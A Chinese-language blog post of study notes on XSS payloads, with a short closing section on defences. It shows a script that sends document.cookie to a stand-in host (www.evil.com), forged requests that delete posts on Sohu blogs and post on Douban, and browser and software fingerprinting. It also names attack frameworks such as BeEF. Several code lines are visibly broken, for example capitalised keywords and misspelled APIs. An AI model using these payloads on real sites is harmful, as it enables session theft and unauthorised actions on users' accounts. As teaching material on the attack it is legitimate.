XSS

Posted 2020-08-19

XSS攻击成功后，攻击者能够对用户当前浏览器的页面植入恶意脚本，通过恶意脚本，控制用户的浏览器。这些用来完成各种具体功能的恶意脚本，成为 XSS Payload

XSS Payload实际上就是javascript脚本，所以任何JavaScript脚本能实现的功能，XSS Payload都能做到。

 

1、cookie劫持

 

http://www.a.com/test.html?abc=”><script src=http://www.evil.com/evil.js></script>

Evil.js：

Var img = document.createElement(“img”);

Img.src = “http://www.evil.com/log?”+escape(document.cookie); //发送cookie到攻击端

document.body.appendChild(img);

成功前提：

Cookie没有绑定客户端信息

Cookie没有HttpOnly标识

Cookie没有绑定IP

 

 

2、构造GET或POST请求

（1）

目的：删除一篇博文

删除链接：

http://blog.sohu.com/manage/entry.do?m=delete&id=156713012

如何攻击：只需要知道文章的id，就可以构造该请求

XSS：

Var img = document.createElement(“img”);

Img.src = “http://blog.sohu.com/manage/entry.do?m=delete&id=156713012”;

document.body.appendChild(img);

只要该段代码执行，就可以执行删除的命令。

（2）发出POST请求

发表消息的包：

POST  / HTTP/1.1

Host:www.douban.com

User-Agent:Mozilla/5.0 (windows;U ;Windows NT 5.1;zh-CN;rv:1.9.2.7) Gecko/20100701

Firefox/3.6.7

Accept:...

Accept:...

Aceept:...

Aceept:...

Keep-Alive:115

Connection:keep-alive

Referer:http://www.douban.com/

Cookie:bid=”xxxxxxx”x.............

方法：

①构造一个form表单

Var f = document.createElement(“form”);

F.action = “”;

F.method=”post”;

document.body.appendChild(f);

 

Var i1 = document.createElement(“input”);

i1.name = “  ck”;

i1.value = “ JiUY”;

f.appendChild(i1);

 

Var i2 = document.createElement(“input”);

i2.name = “ mb_text”;

i2.value = “testtesttest”;

f.appendChild(i2);

 

F.submit();

②使用XMLHttpRequest

Var url = “http://www.douban/com”;

Var postStr = “ck=JiUY&mb_text=test1234”;

Var ajax = null;

If(window.XMLHttpRequest){

Ajax = new XMLHttpRequest();

}else if(window.ActiveXObject){

Ajax = new ActiveObject(Microsoft.XMLHTTP);

}

Else return;

 

Ajax.open(“POST”,url,true);

Ajax.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);

Ajax.send(postStr);

 

Ajax.onreadystatechange = function(){

If(ajax.readyState == 4 && ajax.status == 200){

Alert(“Done!”);

}

}

成功前提：

1.验证码：需要通过XSS发送验证码到攻击端，攻击端再将验证码的值返回给XSS。

2.修改密码需要输入原密码：先要通过钓鱼得到原密码

 

3、识别用户浏览器

攻击者为了获取更大的利益，往往需要准确地收集用户的个人信息。比如，如果知道用户的浏览器、操作系统，攻击者就有可能实施一次精准的浏览器内存攻击。

Js：alert(navigator.usrAgent);

更精简的代码，见原书

 

4、识别用户安装的软件

在IE中，可以通过判断ActiveX控件的classid是否存在，来推测用户是否安装了该软件。

黑客通过判断用户安装的软件，选择对应的浏览器漏洞，最终达到植入木马的目的。

代码：

Try{

Var Obj  = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);

}catch(e){

//异常

}

这段代码检测迅雷的一个控件xunleiBHO.ThunderIEHelper是否存在。

通过收集常见软件的classid，就可以扫描出用户电脑中安装的软件列表。

 

5、获取用户的真实IP地址

 

Js本身并没有提供获取本地IP的能力。

一般来说，XSS攻击需要借助第三方软件来完成。

比如，客户端安装了java环境，那么XSS就可以通过调用Java Applet接口获取客户端的本地IP。

除了java之外，一些ActiveX控件可能也会提供接口查询本地IP。

Metasploit引擎曾经展示过一个强大的测试页面，综合了Java Applet、Flash、iTunes、Office、等第三方软件的功能，抓取用户的细腻。

 

XSS 攻击平台==========================================

 

 

 

1、Attack API

2、BeEF

3、XSS-Proxy：一个轻量级的XSS攻击平台。

 

调试js

要想写好XSS Payload，需要有很好的js功底，调试js是必不可少的技能。

1、Firebug

2、IE 8 Developer Tools

3、Fiddler

4、Http Watch

 

 

 

XSS 的防御====================================

 

1、HttpOnly

浏览器禁止js访问带有HttpOnly属性的cookie

即使如此，也出现过利用其它特性，读取出带httponly属性的cookie

 

2、输入检查

 

3、输出检查